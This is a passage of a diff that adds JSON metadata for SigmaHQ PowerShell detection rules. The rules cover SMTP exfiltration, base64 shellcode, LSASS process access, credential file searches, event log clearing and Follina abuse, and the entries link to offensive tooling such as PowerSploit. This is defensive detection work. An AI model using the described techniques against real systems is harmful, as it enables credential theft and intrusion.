"904e8e61-8edf-4350-b59c-b905fc8e810c", + "value": "Security Software Discovery by Powershell" + }, + { + "description": "Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel.\nThe data may also be sent to an alternate network location from the main command and control server.\n", + "meta": { + "author": "frack113", + "creation_date": "2022/09/26", + "falsepositive": [ + "Legitimate script" + ], + "filename": "posh_ps_send_mailmessage.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1048.003/T1048.003.md#atomic-test-5---exfiltration-over-alternative-protocol---smtp", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/send-mailmessage?view=powershell-7.2", + "https://www.ietf.org/rfc/rfc2821.txt", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_send_mailmessage.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048.003" + ] + }, + "uuid": "9a7afa56-4762-43eb-807d-c3dc9ffe211b", + "value": "Powershell Exfiltration Over SMTP" + }, + { + "description": "Detect adversaries enumerate sensitive files", + "meta": { + "author": "frack113", + "creation_date": "2022/09/16", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_sensitive_file_discovery.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/malmoeb/status/1570814999370801158", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_sensitive_file_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1083" + ] + }, + "uuid": "7d416556-6502-45b2-9bad-9d2f05f38997", + "value": "Powershell Sensitive File Discovery" + }, + { + "description": "Detects use of Set-ExecutionPolicy to set insecure policies", + "meta": { + "author": "frack113", + "creation_date": "2021/10/20", + "falsepositive": [ + "Administrator script" + ], + "filename": "posh_ps_set_policies_to_unsecure_level.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.1", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-7.1", + "https://adsecurity.org/?p=2604", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_set_policies_to_unsecure_level.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "61d0475c-173f-4844-86f7-f3eebae1c66b", + "value": "Change PowerShell Policies to an Insecure Level" + }, + { + "description": "Detects Base64 encoded Shellcode", + "meta": { + "author": "David Ledbetter (shellcode), Florian Roth (rule)", + "creation_date": "2018/11/17", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_shellcode_b64.yml", + "level": "high", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/cyb3rops/status/1063072865992523776", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_shellcode_b64.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1055", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "16b37b70-6fcf-4814-a092-c36bd3aafcbd", + "value": "PowerShell ShellCode" + }, + { + "description": "Detects Commandlet names from ShellIntel exploitation scripts.", + "meta": { + "author": "Max Altgelt, Tobias Michalski", + "creation_date": "2021/08/09", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_shellintel_malicious_commandlets.yml", + "level": "high", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/Shellntel/scripts/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_shellintel_malicious_commandlets.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "402e1e1d-ad59-47b6-bf80-1ee44985b3a7", + "value": "Malicious ShellIntel PowerShell Commandlets" + }, + { + "description": "Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable.", + "meta": { + "author": "Nikita Nazarov, oscd.community", + "creation_date": "2020/10/16", + "falsepositive": [ + "Legitimate administration activities" + ], + "filename": "posh_ps_software_discovery.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518/T1518.md", + "https://github.com/harleyQu1nn/AggressorScripts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_software_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1518" + ] + }, + "uuid": "2650dd1a-eb2a-412d-ac36-83f06c4f2282", + "value": "Detected Windows Software Discovery" + }, + { + "description": "Storing files in Alternate Data Stream (ADS) similar to Astaroth malware.", + "meta": { + "author": "frack113", + "creation_date": "2021/09/02", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_store_file_in_alternate_data_stream.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.004/T1564.004.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_store_file_in_alternate_data_stream.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.004" + ] + }, + "uuid": "a699b30e-d010-46c8-bbd1-ee2e26765fe9", + "value": "Powershell Store File In Alternate Data Stream" + }, + { + "description": "Adversaries may attempt to find domain-level groups and permission settings.\nThe knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group.\nAdversaries may use this information to determine which users have elevated permissions, such as domain administrators.\n", + "meta": { + "author": "frack113", + "creation_date": "2021/12/15", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_susp_ad_group_reco.yml", + "level": "low", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.002/T1069.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_ad_group_reco.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1069.001" + ] + }, + "uuid": "88f0884b-331d-403d-a3a1-b668cf035603", + "value": "AD Groups Or Users Enumeration Using PowerShell - ScriptBlock" + }, + { + "description": "Detects usage of known powershell cmdlets such as \"Clear-EventLog\" to clear the windows event logs", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/09/12", + "falsepositive": [ + "Rare need to clear logs before doing something. Sometimes used by installers or cleaner scripts. The script should be investigated to determine if it's legitimate" + ], + "filename": "posh_ps_susp_clear_eventlog.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/oroneequalsone/status/1568432028361830402", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.001/T1070.001.md", + "https://eqllib.readthedocs.io/en/latest/analytics/5b223758-07d6-4100-9e11-238cfdd0fe97.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_clear_eventlog.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.001" + ] + }, + "uuid": "0f017df3-8f5a-414f-ad6b-24aff1128278", + "value": "Suspicious Eventlog Clear" + }, + { + "description": "Detects technique used by MAZE ransomware to enumerate directories using Powershell", + "meta": { + "author": "frack113", + "creation_date": "2022/03/17", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "filename": "posh_ps_susp_directory_enum.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1083/T1083.md", + "https://www.mandiant.com/resources/tactics-techniques-procedures-associated-with-maze-ransomware-incidents", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_directory_enum.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1083" + ] + }, + "uuid": "162e69a7-7981-4344-84a9-0f1c9a217a52", + "value": "Powershell Directory Enumeration" + }, + { + "description": "Detects suspicious PowerShell download command", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/03/05", + "falsepositive": [ + "PowerShell scripts that download content from the Internet" + ], + "filename": "posh_ps_susp_download.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_download.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "403c2cc0-7f6b-4925-9423-bfa573bed7eb", + "value": "Suspicious PowerShell Download" + }, + { + "description": "Adversaries may abuse the Windows command shell for execution.\nThe Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems.\nThe Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands.\nBatch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops.\nCommon uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple system\n", + "meta": { + "author": "frack113", + "creation_date": "2022/01/02", + "falsepositive": [ + "Legitimate administration script" + ], + "filename": "posh_ps_susp_execute_batch_script.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.003/T1059.003.md#atomic-test-1---create-and-execute-batch-script", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_execute_batch_script.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.003" + ] + }, + "uuid": "b5522a23-82da-44e5-9c8b-e10ed8955f88", + "value": "Powershell Execute Batch Script" + }, + { + "description": "Detects Commandlet that is used to export certificates from the local certificate store and sometimes used by threat actors to steal private keys from compromised machines", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/04/23", + "falsepositive": [ + "Legitimate certificate exports invoked by administrators or users (depends on processes in the environment - filter if unusable)" + ], + "filename": "posh_ps_susp_export_pfxcertificate.yml", + "level": "high", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-112a", + "https://docs.microsoft.com/en-us/powershell/module/pki/export-pfxcertificate", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_export_pfxcertificate.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.004" + ] + }, + "uuid": "aa7a3fce-bef5-4311-9cc1-5f04bb8c308c", + "value": "Suspicious Export-PfxCertificate" + }, + { + "description": "Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials.\nThese can be files created by users to store their own credentials, shared credential stores for a group of individuals,\nconfiguration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n", + "meta": { + "author": "frack113", + "creation_date": "2021/12/19", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_susp_extracting.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_extracting.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.001" + ] + }, + "uuid": "bd5971a7-626d-46ab-8176-ed643f694f68", + "value": "Extracting Information with PowerShell" + }, + { + "description": "Detects execution of \"TroubleshootingPack\" cmdlets to leverage CVE-2022-30190 or action similar to \"msdt\" lolbin (as described in LOLBAS)", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/06/21", + "falsepositive": [ + "Legitimate usage of \"TroubleshootingPack\" cmdlet for troubleshooting purposes" + ], + "filename": "posh_ps_susp_follina_execution.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/nas_bench/status/1537919885031772161", + "https://lolbas-project.github.io/lolbas/Binaries/Msdt/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_follina_execution.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1202" + ] + }, + "uuid": "03409c93-a7c7-49ba-9a4c-a00badf2a153", + "value": "Troubleshooting Pack Cmdlet Execution" + }, + { + "description": "Detects a Get-Process command on lsass process, which is in almost all cases a sign of malicious activity", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/04/23", + "falsepositive": [ + "Legitimate certificate exports invoked by administrators or users (depends on processes in the environment - filter if unusable)" + ], + "filename": "posh_ps_susp_getprocess_lsass.yml", + "level": "high", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/PythonResponder/status/1385064506049630211", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_getprocess_lsass.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ] + }, + "uuid": "84c174ab-d3ef-481f-9c86-a50d0b8e3edb", + "value": "PowerShell Get-Process LSASS in ScriptBlock" + }, + { + "description": "Detects suspicious Powershell code that execute COM Objects", + "meta": { + "author": "frack113", + "creation_date": "2022/04/02", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "filename": "posh_ps_susp_gettypefromclsid.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.015/T1546.015.md#atomic-test-2---powershell-execute-com-object", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_gettypefromclsid.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.persistence", + "attack.t1546.015" + ] + }, + "uuid": "8bc063d5-3a3a-4f01-a140-bc15e55e8437", + "value": "Suspicious GetTypeFromCLSID ShellExecute" + }, + { + "description": "utilize Get-AdComputer to enumerate Computers within Active Directory.", + "meta": { + "author": "frack113", + "creation_date": "2022/03/17", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_susp_get_adcomputer.yml", + "level": "low", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_get_adcomputer.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1018" + ] + }, + "uuid": "36bed6b2-e9a0-4fff-beeb-413a92b86138", + "value": "Suspicious Enumerate Active Directory Computers with Get-AdComputer" + }, + { + "description": "Detetcts PowerShell activity in which Get-Addefaultdomainpasswordpolicy is used to get the default password policy for an Active Directory domain.", + "meta": { + "author": "frack113", + "creation_date": "2022/03/17", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "filename": "posh_ps_susp_get_addefaultdomainpasswordpolicy.yml", + "level": "low", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1201/T1201.md#atomic-test-9---enumerate-active-directory-password-policy-with-get-addefaultdomainpasswordpolicy", + "https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-addefaultdomainpasswordpolicy", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_get_addefaultdomainpasswordpolicy.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1201" + ] + }, + "uuid": "bbb9495b-58fc-4016-b9df-9a3a1b67ca82", + "value": "Password Policy Discovery With Get-AdDefaultDomainPasswordPolicy" + }, + { + "description": "Detects the use of Get-AdGroup to enumerate Groups within Active Directory", + "meta": { + "author": "frack113", + "creation_date": "2022/03/17", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_susp_get_adgroup.yml", + "level": "low", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_get_adgroup.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1069.002" + ] + }, + "uuid": "8c3a6607-b7dc-4f0d-a646-ef38c00b76ee", + "value": "Suspicious Enumerate Active Directory Groups with Get-AdComputer" + }, + { + "description": "Detects the use of PowerShell to identify the current logged user.", + "meta": { + "author": "frack113", + "creation_date": "2022/04/04", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "filename": "posh_ps_susp_get_current_user.yml", + "level": "low", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1033/T1033.md#atomic-test-4---user-discovery-with-env-vars-powershell-script", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1033/T1033.md#atomic-test-5---getcurrent-user-with-powershell-script", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_get_current_user.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1033" + ] + }, + "uuid": "4096a49c-7de4-4da0-a230-c66ccd56ea5a", + "value": "Suspicious PowerShell Get Current User" + }, + { + "description": "Detect use of Get-GPO to get one GPO or all the GPOs in a domain.", + "meta": { + "author": "frack113", + "creation_date": "2022/06/04", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "filename": "posh_ps_susp_get_gpo.yml", + "level": "low", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1615/T1615.md", + "https://docs.microsoft.com/en-us/powershell/module/grouppolicy/get-gpo?view=windowsserver2022-ps", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_get_gpo.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1615" + ] + }, + "uuid": "eb2fd349-ec67-4caa-9143-d79c7fb34441", + "value": "Suspicious GPO Discovery With Get-GPO" + }, + { + "description": "Get the processes that are running on the local computer.", + "meta": { + "author": "frack113", + "creation_date": "2022/03/17", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "filename": "posh_ps_susp_get_process.yml", + "level": "low", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1057/T1057.md#atomic-test-3---process-discovery---get-process", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-process?view=powershell-7", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_get_process.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1057" + ] + }, + "uuid": "af4c87ce-bdda-4215-b998-15220772e993", + "value": "Suspicious Process Discovery With Get-Process" + }, + { + "description": "The infrastructure for management data and operations that enables local and remote management of Windows personal computers and servers", + "meta": { + "author": "frack113", + "creation_date": "2022/01/12", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "filename": "posh_ps_susp_gwmi.yml", + "level": "low", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://attack.mitre.org/datasources/DS0005/", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-wmiobject?view=powershell-5.1&viewFallbackFrom=powershell-7", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_gwmi.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546" + ] + }, + "uuid": "0332a266-b584-47b4-933d-a00b103e1b37", + "value": "Suspicious Get-WmiObject" + }, + { + "description": "Adversaries may carry out malicious operations using a virtual instance to avoid detection", + "meta": { + "author": "frack113", + "creation_date": "2022/04/09", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "filename": "posh_ps_susp_hyper_v_condlet.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/virtualization/hyper-v-on-windows/quick-start/enable-hyper-v", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.006/T1564.006.md#atomic-test-3---create-and-start-hyper-v-virtual-machine", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_hyper_v_condlet.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.006" + ] + }, + "uuid": "42d36aa1-3240-4db0-8257-e0118dcdd9cd", + "value": "Suspicious Hyper-V Cmdlets" + }, + { + "description": "Detects suspicious PowerShell invocation command parameters", + "meta": { + "author": "Florian Roth (rule)", + "creation_date": "2017/03/12", + "falsepositive": [ + "Very special / sneaky PowerShell scripts" + ], + "filename": "posh_ps_susp_invocation_generic.yml", + "level": "high", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_invocation_generic.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "ed965133-513f-41d9-a441-e38076a0798f", + "value": "Suspicious PowerShell Invocations - Generic" + }, + { + "description": "Detects suspicious PowerShell invocation command parameters", + "meta": { + "author": "Florian Roth (rule), Jonhnathan Ribeiro", + "creation_date": "2017/03/05", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_susp_invocation_specific.yml", + "level": "high", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_invocation_specific.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "ae7fbf8e-f3cb-49fd-8db4-5f3bed522c71", + "value": "Suspicious PowerShell Invocations - Specific" + }, + { + "description": "Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic.\nCommands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.\n", + "meta": { + "author": "frack113", + "creation_date": "2022/01/23", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_susp_invoke_webrequest_useragent.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1071.001/T1071.001.md#t1071001---web-protocols", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_invoke_webrequest_useragent.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001" + ] + }, + "uuid": "d4488827-73af-4f8d-9244-7b7662ef046e", + "value": "Change User Agents with WebRequest" + }, + { + "description": "Open a handle on the drive volume via the \\\\.\\ DOS device path specifier and perform direct access read of the first few bytes of the volume.", + "meta": { + "author": "frack113", + "creation_date": "2022/01/09", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "filename": "posh_ps_susp_iofilestream.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1006/T1006.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_iofilestream.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.003" + ] + }, + "uuid": "70ad982f-67c8-40e0-a955-b920c2fa05cb", + "value": "Suspicious IO.FileStream" + }, + { + "description": "Detects keywords that could indicate the use of some PowerShell exploitation framework", + "meta": { + "author": "Florian Roth, Perez Diego (@darkquassar)", + "creation_date": "2019/02/11", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_susp_keywords.yml", + "level": "high", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://posts.specterops.io/entering-a-covenant-net-command-and-control-e11038bcf462", + "https://github.com/PowerShellMafia/PowerSploit/blob/d943001a7defb5e0d1657085a77a0e78609be58f/CodeExecution/Invoke-ReflectivePEInjection.ps1", + "https://github.com/hlldz/Phant0m/blob/30c2935d8cf4aafda17ee2fab7cd0c4aa9a607c2/old/Invoke-Phant0m.ps1", + "https://gist.github.com/MHaggis/0dbe00ad401daa7137c81c99c268cfb7", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_keywords.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "1f49f2ab-26bc-48b3-96cc-dcffbc93eadf", + "value": "Suspicious PowerShell Keywords" + }, + { + "description": "Adversaries may attempt to find local system groups and permission settings.\nThe knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group.\nAdversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.\n", + "meta": { + "author": "frack113", + "creation_date": "2021/12/12", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_susp_local_group_reco.yml", + "level": "low", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.001/T1069.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_local_group_reco.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1069.001" + ] + }, + "uuid": "fa6a5a45-3ee2-4529-aa14-ee5edc9e29cb", + "value": "Suspicious Get Local Groups Information" + }, + { + "description": "Adversaries may target user email on local systems to collect sensitive information.\nFiles containing email data can be acquired from a users local system, such as Outlook storage or cache files.\n", + "meta": { + "author": "frack113", + "creation_date": "2021/07/21", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_susp_mail_acces.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1114.001/T1114.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_mail_acces.yml" + ], + "tags": [ + "attack.collection", + "attack.t1114.001" + ] + }, + "uuid": "2837e152-93c8-43d2-85ba-c3cd3c2ae614", + "value": "Powershell Local Email Collection" + }, + { + "description": "Detects when when a mounted share is removed. Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation", + "meta": { + "author": "oscd.community, @redcanary, Zach Stanford @svch0st", + "creation_date": "2020/10/08", + "falsepositive": [ + "Administrators or Power users may remove their shares via cmd line" + ], + "filename": "posh_ps_susp_mounted_share_deletion.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.005/T1070.005.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_mounted_share_deletion.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.005" + ] + }, + "uuid": "66a4d409-451b-4151-94f4-a55d559c49b0", + "value": "PowerShell Deleted Mounted Share" + }, + { + "description": "Adversaries may abuse container files such as disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW.", + "meta": { + "author": "frack113", + "creation_date": "2022/02/01", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "filename": "posh_ps_susp_mount_diskimage.yml", + "level": "low", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.005/T1553.005.md#atomic-test-1---mount-iso-image", + "https://docs.microsoft.com/en-us/powershell/module/storage/mount-diskimage?view=windowsserver2022-ps", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_mount_diskimage.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1553.005" + ] + }, + "uuid": "29e1c216-6408-489d-8a06-ee9d151ef819", + "value": "Suspicious Mount-DiskImage" + }, + { + "description": "Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts.\nWithout knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism\n", + "meta": { + "author": "frack113", + "creation_date": "2021/12/27", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_susp_networkcredential.yml", + "level": "low", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1110.001/T1110.001.md#atomic-test-2---brute-force-credentials-of-single-active-directory-domain-user-via-ldap-against-domain-controller-ntlm-or-kerberos", + 